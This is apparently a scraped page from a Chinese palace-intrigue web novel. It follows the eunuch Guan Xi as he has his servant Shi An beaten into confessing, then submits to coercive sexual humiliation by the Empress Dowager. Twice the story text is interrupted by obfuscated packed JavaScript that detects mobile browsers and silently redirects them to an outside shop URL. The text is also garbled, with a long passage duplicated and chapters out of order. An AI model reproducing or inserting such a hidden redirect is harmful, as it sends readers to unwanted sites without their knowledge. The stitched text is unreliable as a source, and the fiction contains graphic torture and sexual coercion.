绣春刀出鞘。 狭长的刀身,线条流畅,在昏黄的灯火下,流动着一泓秋水般的寒芒,那光芒映照出关禧眼底那片疯狂肆虐的杀意。 他握刀的手,指节因为过度用力绷紧到发白,手背上淡青色的血管根根凸起。刀尖垂下,对准了地上石安的咽喉,颤抖着。 “孙、得、禄。”关禧从牙缝里,一字一顿挤出这个名字,每个字都裹着血腥气,“他除了问青黛,还问了什么?关于我,关于内厂,一字不漏,给我说清楚!” 石安已经被那出鞘的刀光和关禧眼中毫不掩饰的杀意彻底吓破了胆,□□处又湿了一片,腥臊气弥漫开来。他瘫在地上,连躲闪的力气都没有,只能往后缩着脖子,涕泪交流,语无伦次:“没……真的没问别的了……督主信我……孙公公就说您年轻,得陛下看重,怕您……怕您行差踏错,让我看着点……真的没问厂里的事,他……他可能觉得我问也问不到……就说……就说青黛姑娘是承华宫的旧人,您若念旧,也是人之常情,但……但要知道分寸,别让陛下误会……奴才,奴才以为他只是寻常关心,没想到……督主饶命!奴才再也不敢了!奴才爹娘……” “闭嘴!”关禧厉喝一声,手腕一抖,刀尖往前一送,锋刃紧贴着石安的咽喉皮肤,刺骨的寒意瞬间让石安的声音戛然而止,只剩下牙齿“咯咯”打战的声音。 关禧胸口起伏,握着刀柄的手因为极力克制颤抖得更厉害。杀了眼前这个叛徒很容易,一刀下去,万事皆休。可杀了之后呢?孙得禄那边如何交代?皇帝那里如何解释?打草惊蛇,只会让皇帝更确信他和楚玉之间有问题,只会将楚玉推向更危险的境地。 不能杀……至少现在不能。 良久,久到石安以为自己下一刻就要身首异处,久到双喜和那两个番役都屏住了呼吸。 关禧手腕一翻,绣春刀归入鞘中。那声音干脆利落,却带着未尽的杀意,在刑房里幽幽回荡。 他转过身,背对着地上那滩烂泥,声音已经恢复了之前的平静: “双喜。” “奴才在。” “把人带下去,单独关押。没有我的命令,任何人不得接近,不得提审。”关禧顿了顿,补充道,“给他上药,别让他死了。” “……是。”双喜领命。 “另外,”关禧抬起手,揉了揉突突直跳的太阳穴,“今晚的事,还有孙得禄这个名字,谁敢泄露出去半个字,下场比他,”他侧头,用余光瞥了一眼地上的石安,“惨十倍。” “奴才明白!”双喜和两个番役齐声应道。 关禧不再言语,迈步走向刑房那扇铁门。 铁门在他身后合拢,刑房内的一切,血腥,呜咽,恐惧,都隔绝在内。 门外,是更深沉的黑暗甬道。 关禧独自走在其中,耳畔回响着石安的供词。 孙得禄……皇帝…… 楚玉。 他必须立刻,马上,见到郑书意。 103.第 107 章 双喜挺直了背,回道:“回督主,依厂规第七条:背主泄密者,初犯,杖脊三十,锁拿候审;再犯,或情节严重者,割舌剁指,以儆效尤!” “割舌剁指……”关禧重复着这四个字,目光落在石安那双因为常年做粗活显得粗糙的手上,“石安,你跟着我的时候,这双手连墨都研不好,是我让人教你,给你机会碰笔墨文书。现在,你想先用哪根手指头,来换你的沉默?” 石安一颤,像是被这句话烫到,手蜷缩起来,藏到身后,紧咬牙关。 关禧的耐心耗尽了。他对双喜抬了抬下巴:“既然他选了规矩,那就按规矩办。先杖三十。就在这里。” “是!”双喜应得毫不迟疑,转身就从墙边的刑具架上取下一根浸过桐油乌黑发亮的硬木短棍。 这棍子不长,专为行刑设计,打在人身上,皮开肉绽却不伤筋骨,是厂里惩戒内犯常用的物件。 两个一直立在阴影里的番役上前,把瘫软的石安拖到刑房中间,按倒在地,剥去他上身的褂子,露出脊背。 “督主!督主饶命啊!奴才……奴才没有……没有害您啊!”石安终于哭喊出来。 关禧恍若未闻,“打。” 双喜举起短棍,落下。 “啪!”第一下,结实打在脊梁骨上,发出一声闷响。 “啊——”石安惨叫出声,身体弓起,又瘫软下去。 “啪!啪!啪!”棍子一下接一下,节奏稳定,力道沉实。每一下都让石安发出凄厉不似人声的哀嚎,在密闭的刑房里回荡。很快,他那单薄的脊背上就浮现出一道道狰狞的红紫檩痕,有些地方破了皮,渗出血丝。 十棍下去,石安已是出的气多,进的气少,惨叫变成了断续的呻吟。 双喜停下手,看向关禧。 关禧端起案上已经凉透的茶,抿了一口,目光掠过石安血肉模糊的背,没有丝毫波动:“继续。” 又是十棍。 石安已经连呻吟的力气都没有了,只能像条离水的鱼,偶尔抽搐一下,身下的石地晕开一小片暗色的水渍,不知是汗是尿,还是血。 当双喜再次举起棍子,准备打下第二十一下时,石安用尽最后一丝力气,嘶声喊道:“我说……我说……督主饶命……我说……” 双喜的棍子停在半空,看向关禧。 关禧冷声道:“早这样,何必受这皮肉之苦。说,东西给谁?” 石安的脸贴在石地上,涕泪横流,混合着嘴角渗出的血沫,声音断断续续:“是……是孙公公……乾元殿的孙得禄,孙副总管……” 尽管早有预料可能涉及御前的人,但亲耳听到“孙得禄”这个名字从石安嘴里吐出,关禧的眼瞳还是收缩了一下,捏着茶杯的手指收紧,骨节泛起青白色。 孙得禄。皇帝跟前最得用的大太监之一,乾元殿的副总管,品级虽不及司礼监那些巨珰,却是真正日夜伴随君侧,能吹枕边风的关键人物。是他……皇帝果然从未真正放心,早就在他身边埋下了不止何璋这一颗钉子。石安这颗钉子埋得更早,更不起眼,也因为他不起眼,因为他那点可怜的同乡情分和怯懦,反而可能看到了些何璋看不到的角落。 “他让你做什么?你又告诉了他什么?”关禧的声音比刚才更冷,每个字都像淬了冰。 “他……他拿我爹娘的命威胁我……”石安泣不成声,“我爹娘年纪大了,身子不好,都在老家……孙公公说,我若不听话,他有一万种法子让他们意外没了……我没办法,督主,我真的没办法啊……” 他挣扎着抬起头,污浊的脸上满是哀求:“奴才没想害督主!孙公公也没让奴才打听什么机密……他就是让奴才留意督主平日生活起居,见了什么人,心情如何,有没有什么特别的喜好……偶尔,也问问督主在承华宫旧事,和……和青黛姑娘……” “青黛姑娘”四个字一出口,关禧周身的气息骤然一凛,刑房内本就低迷的温度又骤降了几度。 石安被他那骤然变化的气场所慑,吓得几乎失语,嗫嚅着继续交代:“奴才……奴才知道的也不多,就……就说督主您有时会一个人发呆,看着承华宫方向……说您对青黛姑娘似乎格外不同,上次您生病,青黛姑娘还悄悄给了药……奴才,奴才就说了这些,旁的真的不知道,也不敢乱说啊督主!” “啪——!” 一声清脆响亮的耳光,打断了石安哆哆嗦嗦的辩解。 不是关禧动的。是双喜。 他气得眼睛都红了,指着瘫在地上的石安,声音因为愤怒发抖:“你个忘恩负义的白眼狼!督主把你从杂役堆里提出来,给你体面,给你衣食,教你认字!你爹娘远在河间府,督主可曾亏待过你一分一毫?你的衣食父母是谁?是督主!你倒好,为了那不知真假的话,就把督主卖了!还扯上青黛姑娘!你知道你这些话递上去,会给督主、给青黛姑娘带来多大的祸事吗?!我打死你个没良心的东西!” 说着,又要上前。 “够了。”关禧出声。 双喜举起的拳头僵在半空,狠狠瞪了石安一眼,退了回去。 关禧站起身。 他绕过铁木长案,一步一步,走向瘫在地上,烂泥般的石安。 靴底踩在潮湿的石地上,发出“嗒嗒”声,他在石安面前站定,垂眸,居高临下地俯视着这个同乡,这个他曾施以怜悯,如今却将刀递向他和楚玉要害的叛徒。 孙得禄知道了,皇帝很可能也知道了,知道他关禧心里装着楚玉,知道他们之间有隐秘的往来,知道楚玉是他的软肋。 皇帝那日的敲打,那句“排遣寂寞的法子”,不仅仅是对他身体的试探,更可能是一种警告,一种对楚玉的潜在威胁。如果皇帝觉得楚玉成了他这把刀的牵绊,影响他的干净和忠诚…… 关禧不敢再想下去。 那双总是沉静或带着算计的丹凤眼,被猩红的血丝缠绕,他伸手,探向自己腰间,那里,悬着他晋升提督后,皇帝特赐的绣春刀。刀鞘乌黑,吞口处镶嵌着暗色的宝石,平日里更多是仪仗和身份的象征。 “铿——!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250536|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声清越到刺耳的金铁摩擦声炸响在刑房。 绣春刀出鞘。 狭长的刀身,线条流畅,在昏黄的灯火下,流动着一泓秋水般的寒芒,那光芒映照出关禧眼底那片疯狂肆虐的杀意。 他握刀的手,指节因为过度用力绷紧到发白,手背上淡青色的血管根根凸起。刀尖垂下,对准了地上石安的咽喉,颤抖着。 “孙、得、禄。”关禧从牙缝里,一字一顿挤出这个名字,每个字都裹着血腥气,“他除了问青黛,还问了什么?关于我,关于内厂,一字不漏,给我说清楚!” 石安已经被那出鞘的刀光和关禧眼中毫不掩饰的杀意彻底吓破了胆,□□处又湿了一片,腥臊气弥漫开来。他瘫在地上,连躲闪的力气都没有,只能往后缩着脖子,涕泪交流,语无伦次:“没……真的没问别的了……督主信我……孙公公就说您年轻,得陛下看重,怕您……怕您行差踏错,让我看着点……真的没问厂里的事,他……他可能觉得我问也问不到……就说……就说青黛姑娘是承华宫的旧人,您若念旧,也是人之常情,但……但要知道分寸,别让陛下误会……奴才,奴才以为他只是寻常关心,没想到……督主饶命!奴才再也不敢了!奴才爹娘……” “闭嘴!”关禧厉喝一声,手腕一抖,刀尖往前一送,锋刃紧贴着石安的咽喉皮肤,刺骨的寒意瞬间让石安的声音戛然而止,只剩下牙齿“咯咯”打战的声音。 关禧胸口起伏,握着刀柄的手因为极力克制颤抖得更厉害。杀了眼前这个叛徒很容易,一刀下去,万事皆休。可杀了之后呢?孙得禄那边如何交代?皇帝那里如何解释?打草惊蛇,只会让皇帝更确信他和楚玉之间有问题,只会将楚玉推向更危险的境地。 不能杀……至少现在不能。 良久,久到石安以为自己下一刻就要身首异处,久到双喜和那两个番役都屏住了呼吸。 关禧手腕一翻,绣春刀归入鞘中。那声音干脆利落,却带着未尽的杀意,在刑房里幽幽回荡。 他转过身,背对着地上那滩烂泥,声音已经恢复了之前的平静: “双喜。” “奴才在。” “把人带下去,单独关押。没有我的命令,任何人不得接近,不得提审。”关禧顿了顿,补充道,“给他上药,别让他死了。” “……是。”双喜领命。 “另外,”关禧抬起手,揉了揉突突直跳的太阳穴,“今晚的事,还有孙得禄这个名字,谁敢泄露出去半个字,下场比他,”他侧头,用余光瞥了一眼地上的石安,“惨十倍。” “奴才明白!”双喜和两个番役齐声应道。 关禧不再言语,迈步走向刑房那扇铁门。 铁门在他身后合拢,刑房内的一切,血腥,呜咽,恐惧,都隔绝在内。 门外,是更深沉的黑暗甬道。 关禧独自走在其中,耳畔回响着石安的供词。 孙得禄……皇帝…… 楚玉。 他必须立刻,马上,见到郑书意。 104.第 108 章 夜深了。 暴雨倾泻下来,豆大的雨点砸在琉璃瓦青石板上,噼啪作响。天空是泼墨般的浓黑,闪电偶尔撕裂天幕,刹那间照亮巍峨宫殿,旋即又被更深的黑暗吞噬,只留下隆隆雷鸣在宫墙间滚荡。 撑着一把油纸伞,关禧踏入了瓢泼大雨之中,雨水如瀑般从伞沿倾泻而下,在他脚边溅起水花。 这个时辰,宫门早已下钥,各宫各殿也大多熄灯安寝。 关禧的脚步没有丝毫停滞,他腰间的提督腰牌,就是通行无阻的符咒。 沿途遇到的巡夜侍卫或守门太监,在看清来人后,无不骇然退避,躬身行礼,不敢有半分阻拦。内缉事厂提督关禧,皇帝跟前的红人,太后也默许其存在的特殊人物,谁敢在这个暴雨倾盆的深夜,去触他的霉头? 永寿宫的轮廓在雨幕中显现,灯火比别处多一些,但也蒙上了一层雨雾的朦胧,透出几分不同于别处的森严。 值夜的太监缩在宫门檐下避雨,见到一个黑影径直走来,吓了一跳,待看清是关禧,脸上堆起谄媚的笑:“哎哟,关提督!这……这么大的雨,您怎么这个时辰来了?可是有急事禀报太后娘娘?” 关禧收了伞,没理会太监的废话,“通传。” 那太监被他眼神一扫,激灵灵打了个寒颤,忙道:“是是是,奴才这就去禀告江嬷嬷!”说着,一边示意同伴继续守着,一边转身,小跑着冲进了雨幕,朝永寿宫深处而去。 关禧则抬步,跨过了永寿宫高大的门槛。守门的另一个太监张了张嘴,终究没敢出声阻拦,眼睁睁看着他回自己家一般,沿着廊庑,朝正殿方向走去。 没走多远,方才去通传的太监引着一个人匆匆迎了出来。正是太后郑书意的贴身嬷嬷江氏。江嬷嬷年纪约莫五十上下,穿着深褐色暗纹比甲,面容严肃,眼神锐利,是永寿宫实际上的大总管,也是太后最信任的心腹之一。 她看到浑身湿透的关禧,眉头蹙了一下,脸上挂起程式化的笑容:“关提督,这么大的雨,深夜前来,可是有万分紧急的要事?”她特意加重了“万分紧急”四个字,在她看来,关禧虽然是太后手中的一枚特殊棋子,但也终究是个太监,深夜直闯永寿宫内廷,已是极大的僭越。 “我要见太后。”关禧开门见山,没有丝毫迂回或解释的意思,抬步就要继续往里走。 江嬷嬷脸上的笑容凝固,她脚步一挪,挡在了关禧前进的路上,身体前倾,形成一个阻拦的姿态:“关提督!太后娘娘早已安寝,此刻已是丑时三刻!有何要事,不妨先告知老奴,待明日娘娘起身,老奴定当第一时间禀报。” 她的声音提高了些:“后宫有后宫的规矩,太后寝殿,岂是外臣……岂是旁人深夜可以擅闯的?提督如今虽得陛下和娘娘青眼,也该知道分寸才是!” 言辞间,已带上了明显的指责和警告。一个太监,再得势,也不能如此无法无天,直闯太后寝宫。 关禧的脚步停了下来。 廊外的暴雨声哗哗作响,更衬得廊下这片空间气氛紧绷。悬挂的宫灯被风吹得摇晃,光影在他苍白的脸上明明灭灭,那双丹凤眼在昏暗光线下幽深得不见底。 “让开。”他又重复了一遍。 江嬷嬷被他这眼神看得心头莫名一寒,但多年侍奉太后养成的威仪和职责让她寸步不让,挺直了背脊,声音更厉:“关禧!你放肆!真当永寿宫是你内缉事厂的衙署,可以任你来去不成?惊扰了太后娘娘凤寝,你有几个脑袋够砍?有什么事,明天再说!现在,立刻给我出去!” 她伸手指向宫门方向,态度强硬至极。 关禧扯了扯嘴角,那是一个没有任何温度的弧度,他不再废话,直接伸手,拨开了江嬷嬷挡在身前的手臂。他的力道不小,江嬷嬷猝不及防,被拨得踉跄了一下,险些撞到旁边的柱子。 “你……!”江嬷嬷又惊又怒,稳住身形,脸上露出震怒,尖声道,“反了!真是反了天了!来人!快来人!给我拦住这个不知天高地厚的……” “吵什么?” 一个略显慵懒的女声,从寝殿方向传了出来。 寝殿那扇紧闭雕着繁复凤纹的朱红殿门,从里面被拉开了一道缝隙。暖黄的光晕流淌出来,驱散了廊下一角的昏暗。 郑书意披着一件绛紫色绣金凤羽的绸缎外袍,乌黑长发未绾,如云般披散在肩头,只在发尾松松系了一根丝绦。她脸上脂粉未施,肌肤在灯光下显得润泽,那双杏眼已然清明,先扫过一脸惊怒未平的江嬷嬷,然后,落在了浑身湿透,站在廊下光影交界处的关禧身上。 她的视线在关禧滴水的衣角,苍白的脸色,以及那双异常亮得慑人的眼眸上停留了片刻,眉头动了一下。 “娘娘!”江嬷嬷上前,急声告状,“这关禧深夜擅闯,老奴拦他不住,他竟敢对老奴动手!实在是……” 郑书意抬手,止住了她的话头,让开了门口的位置,目光锁在关禧脸上,“看来,不是小事。进来吧。把湿衣服换了,别死在哀家宫里。” 寝殿内,龙涎香的气息比外间更加浓郁醇厚,也更加沉滞。殿角高几上几盏宫灯燃着,光线柔和,照亮这间宽阔得有些空旷的内寝。紫檀木雕凤穿牡丹的拔步床垂着重重锦帐,一侧的多宝阁上陈列着些古玩玉器,另一侧是张铺设着绒毯的贵妃榻,榻边小几上还摊着一本未合上的书。 郑书意已转身走到那贵妃榻旁,背对着关禧,随手整理了一下外袍的腰带。她身姿挺拔,长发流泻的背影在昏黄光线下竟显出几分平日里罕见的单薄。 “把湿衣服换了。”她语气平淡,像是在吩咐一件最寻常不过的事,“屏风后面,第三口樟木箱子,最上面有一套,去换上。” 关禧浑身湿透,衣物黏在皮肤上,寒气一阵阵往骨头缝里钻,他挪动脚步,绕过那扇紫檀木嵌玉石花鸟屏风。 屏风后光线更暗,隐约可见几口箱柜整齐排列。他找到第三口,打开,樟木的气息混合着淡淡的熏香扑面而来。箱子里衣物叠放得整整齐齐,他摸索着,触手是柔软光滑的绸缎,他拿起最上面一套,是一件雨过天青色的圆领窄袖袍,配着同色的中衣和长裤,料子是极好的松江棉绸,透气柔软,尺寸…… 关禧的手指僵住了。 这尺寸,竟像是……比着他的身形备下的。袖长,腰身,裤管的长度,都严丝合缝。 太后的寝殿里,为何会备着合他尺寸的衣物?还是如此私密的贴身常服? 是巧合?还是……她早就料到会有今夜?料到他会有这般狼狈求助的时刻? 无数混乱惊悚的念头冲击着他早已不堪重负的神经。 他转头,望向屏风外那个模糊的背影。 郑书意仿佛背后长了眼睛,声音不高不低传来,带着一丝不易察觉的倦意,或者说,是某种了然于胸的淡漠:“愣着做什么?想冻死,还是想让哀家看你湿淋淋的样子?” 关禧咬牙,压下心头翻腾的疑惧。他没有选择,背过身,开始解身上那件湿透的墨黑箭袖常服。铜扣变得异常艰涩,浸了水的衣料紧贴皮肤,每褪下一件,都像剥下一层皮,暴露在寝殿微暖的空气里。 窸窸窣窣的声音在寂静的殿内格外清晰。 他换得很快,套上那套干爽的棉绸衣物。布料意外地贴合,温暖柔软,驱散了体表的寒意,却让他心底那根弦绷得更紧。这过分的合身,像一个宣告,宣告他始终在她的丈量之中,从未脱离。 换好衣服,他整理了一下衣襟,动作有些仓皇,早已失了平日的沉稳。 他绕过屏风,重新站到郑书意面前。 郑书意已侧身坐在了贵妃榻上,还那副慵懒随意的姿态,一只手肘支在榻边,指尖点着那本摊开的书页,另一只手随意搭在屈起的膝头。 她抬眸,目光扫过关禧。 换上了干爽的雨过天青色棉袍,他湿漉漉的黑发贴在额角颈侧,衬得脸色愈发苍白。那衣袍的颜色柔和,却掩不住他眼中翻涌的惊涛骇浪。往日那层精心维持的恭谨,算计乃至偶尔流露的狠绝面具,碎得干干净净,只余下一个被逼到绝境的恐惧。 尤其是那双眼睛,死死盯着她,里面充满了急于宣泄的恐慌,再也看不到半分曾经的迂回。 郑书意的目光在他脸上停留了片刻,又下移,掠过那身十分合体的衣袍,眼中没有丝毫意外,弯了一下唇角,弧度短促,意味难明。 “现在,可以说了。什么事,能让关提督忘了所有规矩,像个丢了魂的落水狗一样,闯到哀家这里来?” 关禧被她“落水狗”三个字刺得浑身一颤,残存的理智提醒他要组织语言,要冷静陈述,可对楚玉安危的恐惧压倒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252476|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切。 他向前踉跄半步,声音嘶哑,完全失了平日的平稳: “太后……陛下……陛下知道了!孙得禄……孙得禄在我身边安了钉子,石安,那个同乡……他全都说了!陛下知道楚玉!他知道我和楚玉……陛下还敲打我,问什么排遣寂寞……他一定会动楚玉的!他容不下!太后,您说过……您说过会……” 他语无伦次,颠三倒四,但核心的意思表达得清楚明白,皇帝已经触及了他的软肋,并且很可能即将采取行动。他失去了方寸,全部希望寄托在眼前这个他曾恨之入骨,又不得不依附的女人身上。 郑书意听着,脸上没有任何惊讶的表情,就好像关禧所说的一切,都在她预料之中。 直到关禧急促的话语告一段落,只剩粗重的喘息在殿内回荡,她才抬起眼,映出关禧惊慌失措的脸。 “说完了?”她问。 关禧怔住,满腔的恐慌像是撞上了一堵冰墙。 “皇帝知道了,然后呢?”郑书意视线落回手边的书页上,指尖划过一行字,才慢悠悠开口,“他是下旨捉拿楚玉了?还是把你叫去乾元殿问罪了?还是……仅仅,问了句排遣寂寞?关禧,你就这点出息?一点风吹草动,就吓得魂不附体,自己先把阵脚乱了个干净。若皇帝真要对楚玉下手,你现在赶去承华宫,是能带她杀出重围,还是能跪下来求皇帝开恩?” 每一个问题,都像一记耳光,抽在关禧脸上,是啊,皇帝什么都没做,至少明面上没有,一切,都还只是基于石安供词和他自己的推测。 “哀家早就告诉过你,”郑书意身体后靠,倚在柔软的锦垫上,姿态慵懒,“楚玉是你的软肋,也是你的死穴。你既舍不下,就得藏得好,护得稳。藏不住,护不稳,便是如今这般模样,自乱阵脚,授人以柄。” 她停顿了一下,看着关禧眼中骤然涌上的不甘,语气略缓:“皇帝如今只是疑心,只是敲打。他若真掌握了确凿证据,以他的性子,楚玉此刻早已是一具尸体,而你,也不会站在这里。” 这话像一盆冰水,浇得关禧浑身发冷,也让他狂跳的心脏稍微平复了一丝,是的,如果皇帝真要动手,不会只是试探。 “那……那我该怎么办?孙得禄那边……石安被我扣下了,但瞒不了多久……陛下那边,我……” “孙得禄不过一条听命办事的老狗。”郑书意打断他,语气讥诮,“他既然能通过石安递话,自然也能通过别的渠道。扣下一个石安,无非是告诉皇帝,你发现了,你很慌。蠢。” 关禧的脸一阵红一阵白。 “至于皇帝那边……”郑书意放下了手中的书卷,目光重新聚焦在关禧身上,“他既然问你排遣寂寞,你便给他排遣寂寞。” 关禧抬头,眼中闪过震惊和抗拒。 郑书意继续说:“你不是一直怕这个吗?现在,它反而是你的护身符。皇帝对你起了那方面的心思,在彻底得手、或是彻底厌倦之前,反而不会轻易动你,和他认为可能影响你干净的人。因为那会破坏他掌控的乐趣,也会打乱他可能有的、更深层的布局。” “所以,关禧,你现在要做的,不是像个没头苍蝇一样担心楚玉,而是好好想想,怎么利用皇帝这点心思,让他觉得……你比楚玉,更有趣,更值得他花费心思。同时,让楚玉那边,彻底干净起来,干净到即便皇帝去查,也只能查到主仆旧谊,点到即止。” 关禧抿了抿唇,郑书意的话像一把双刃剑,一面划开了帷幕,露出一点生机,另一面,将他推向更不堪的深渊。要他主动去迎合皇帝的狎昵,以此来转移注意,保护楚玉? “我……”他喉咙干涩。 “舍不得你这身皮囊?还是觉得,比起楚玉的命,你那点可怜的清白更重要?” 指尖掐进掌心,疼痛让他保持着一丝清醒。关禧知道,郑书意说的是眼下唯一可能行之有效的办法。屈辱,但有效。 “奴才明白了。” 郑书意笑了笑,目光在他身上那套合体的雨过天青色衣袍上流连了片刻,又道: “这颜色,倒衬你。” 话题突兀转开,关禧一时没反应过来。 郑书意已经抬起手,对着他,勾了勾食指。 那是一个召唤宠物般的姿态。 “过来。”她命令道。 105.第 109 章 关禧浑身一僵,站在原地没动。 郑书意也不催促,看着他,那双杏眼里没了方才分析局势时的冷静算计,也没了惯常的雍容威仪,只剩下玩味的审视,像是在欣赏一件即将完全属于自己,再无反抗余地的藏品。 殿内静得可怕。 终于,关禧一步,又一步,挪到了贵妃榻前。 两人距离极近。 郑书意抬起下颌,目光落在他颤抖的眼睫上,然后下移,扫过他紧抿失了血色的唇,最终停驻在他因为紧张起伏的胸膛。 “跪下。”她吐出两个字。 不是“跪安”,而是更直接,更带有羞辱和掌控意味的“跪下”。 屈辱感如潮水般涌上,关禧觉得自己的脸在烧,每寸皮肤都火辣辣地烫。 郑书意很有耐心,她伸出手,捏着关禧的下巴,迫使他低下头,直视着自己。 “关禧,”她唤他的名字,“哀家能给你的路,从来都不好走。但这是你自己选的路。从你决定靠着哀家活命,从你把楚玉那丫头看得比什么都重开始,你就该知道,有些代价,必须付。现在,告诉哀家,为了保住楚玉,你愿意付多少代价?” 关禧闭上了眼睛,睫毛颤抖着,再次睁开时,眼底只剩一片死寂的决绝。 他屈下了膝盖。 不是宫人觐见时规整的跪拜,是一种更卑微,完全臣服的姿态,跪倒在榻前。 郑书意垂眸,手搭在了他伏低紧绷的肩背上。 “很好。”她评价道,指尖顺着他脊骨的线条向上,感受着那年轻躯体无法抑制的轻颤。 “记住你今晚的选择。从今往后,哀家要你做什么,你便做什么。皇帝那里,该给你的排遣,你自己把握分寸。楚玉的命,系在你够不够听话,够不够……有用上。” 她的指尖在他颈侧停顿,那里肌肤温热,脉搏在指下急促跳动。 “现在,”她收回手,站起身。 绛紫色外袍的宽大袖摆垂落,她步履从容地走向寝殿深处那张拔步床。 寝殿内光线昏味,摇曳不定。 郑书意走到拔步床边,伸出保养得宜,指甲染着淡淡蔻丹的手,梯开垂落的层层锦,那帐子是罕见的月影纱,轻薄如雾,其上用银线绣着细密的缠枝莲纹,在灯下泛着朦胧的微光。 帐内,锦绣堆叠,软枕华衾,弥漫着与她身上同源的龙涎香气。 她侧身,在床沿坐下。 这个动作让她修长的脖颈线条完全显露,锁骨在敞开的衣襟下清晰可见,肌肤在昏黄光线下润泽如玉,毫无妇人应有的松驰,反倒有种被岁月精心雕琢过的丰腴美感。 她抬起一条腿,搭在另一条腿上,翘起了二郎腿,绛紫外袍的下摆随着动作滑开一截,露出一截光裸的小腿,脚踝纤细,肌肤雪白,足踝的弧度优美,未着鞋袜的脚趾染着与指尖同色的淡淡蔻丹,在这庄严压抑的寝殿里,透出一股子媚意。 她坐稳了,这才抬起眼,目光越过寝殿中央那片暖昧的光影,落在跪在贵妃榻前关禧身上。 “爬过来。” 那句“爬过来”,不是呼唤,是命令,是锁链收紧的声音。 关禧跪在地上,从郑书意起身走向拔步床开始,他的视线就被钉住了,无法从她那道从容又充满掌控意味的背影上移开。 那华丽的外袍,那披散的长发,那行走间流露出与平日朝堂太后截然不同的风韵,甚至那惊鸿一瞥的小腿和赤足……都像带着倒刺的钩子,狠狠刮擦着他紧绷的神经。 灵魂深处,在恶心,在拼命抗拒这屈辱的画面和即将发生的一切。可现实是,这具身体,因为紧张,以及一种连他自己都唾弃被强势掌控者绝对压制下滋生的畸形战栗,而发热,甚至……产生了某种可耻的反应。他痛恨这具身体,更痛恨无法反抗,甚至生理上都在背叛意志的自己。 他看见她坐在那张象征着后宫至高权力的凤床上,翘着腿,等待。那姿态,仿佛他不是一个人,而是一条她刚刚驯服,需要确认其服从性的狗。 爬过去? 这个认知让关禧胃里一阵翻江倒海,他死死咬住下唇,铁锈味在口腔蔓延,指尖抠进掌心,疼痛是唯一能维系清醒。 不能吐。不能晕。不能疯。 楚玉……楚玉还在承华宫。皇帝的眼睛可能已经看向那里。他今晚踏进永寿宫,跪在这里,穿上这身合体的衣服,忍受这一切,不就是为了那一点渺茫的保全希望吗? 代价……太后问的代价。这就是代价。 他撑在地上的双手,改为掌心向下,手肘弯曲,脊背低伏。 一个爬行的起始姿态。 然后,他动了。 用膝盖和手肘,一点点朝着那张拔步床,朝着床上那个明艳慵懒的女人,挪动过去。 雨过天青色的柔软棉袍下摆拖曳在地面上,摩擦发出细微的窸窣声,在死寂的寝殿里被无限放大。他低垂着头,视线里只有越来越近雕刻着繁复凤纹的紫檀木床脚,和地面上摇晃属于他自己的影子。每挪动一寸,尊严就像被剥下一层皮,血淋淋摊开在这充满龙涎香和女性气息的空气里。 一步,又一步。 终于,他的额头,抵在了坚硬的床沿脚踏上。 郑书意垂眸,看着匍匐在脚踏前的关禧。他穿着她准备的衣裳,合身得像是量身定制,颜色柔和,衬得他露出的后颈一片惨白。乌黑的发丝粘在汗湿的皮肤上,脆弱易碎,又带着一种被强行碾碎傲骨后,别样的驯顺美感。 她伸出脚,用那染着蔻丹,足弓优美的赤足,踩在了关禧低伏的肩背上。 “抬头。”她命令道,足尖用力。 关禧顺着那足尖的力道,抬起了头。 视线先是撞见她外袍下摆精致的刺绣,然后是那截线条优美的小腿,再往上……对上了郑书意俯视下来的目光。 她的脸在寝殿昏黄的灯光和月影纱帐的朦胧过滤下,少了几分白日里的端凝威仪,杏眼上挑,瞳孔深邃,映出他屈辱狼狈的模样。 四目相对。 郑书意笑了一下。那笑容很淡,在她脸上漾开一丝真实的涟漪。 “记住了,关禧。从今夜起,你的命,你的软肋,你每一次呼吸,都捏在哀家手里。哀家让你爬,你便不能走。哀家让你活,你才能喘气。” “至于皇帝那边……好好想想,怎么让他觉得,你比那个叫楚玉的丫头,更值得他费心思。这是你唯一的路。” 话音落下,她收回了脚,绛紫的外袍重新严丝合缝地垂下,遮住了所有不该示人的景致。方才那点狎呢的敲打与掌控带来的隐秘愉悦,在她心底盘旋了一下,便也准备随之沉寂下去。 她有些倦了。更深露重,戏弄这柄已然彻底弯折,烙上印记的刀,固然有趣,但时辰已晚,该敲打的敲打了,该給的生路也画在了他眼前。剩下的,是这聪明人自己该去走,去选的路。 “好了,今晚就到这里。”她开口,目光从跪伏在脚踏前的关禧身上移开,“记住哀家的话,回去好生思量。怎么在皇帝面前……” 话音未落。 一只骨节分明的手,猝然伸出,如铁钳般扣住了她刚刚收回,正欲缩回外袍下的脚踝。 郑书意瞳孔骤然收缩。 不是预想中恭敬的退下,也不是恐惧的瑟缩,而是袭击,如此大胆,如此僭越,如此……猝不及防。 她来不及呵斥,更来不及抽回脚。 因为关禧的头,紧随着那只手,低俯下去。 唇,印在了她脚踝之上,那一片刚刚被他目光灼烧过,细腻温热的肌肤上。 “唔——!” 郑书意喉咙里溢出一声短促的惊喘,她下意识想要踢蹬,想要抽离,可那只扣住她脚踝的手力道大得惊人。 他的唇是冰凉的,气息却滚烫灼人,重重碾过她脚踝最敏/感的那片肌肤。没有技巧,称不上亲吻,更像是一种啃咬。 寝殿内死一般的寂静被打破,又瞬间被更诡异的死寂吞噬。 只有两人陡然变得粗重混乱的呼吸声,交织在一起。 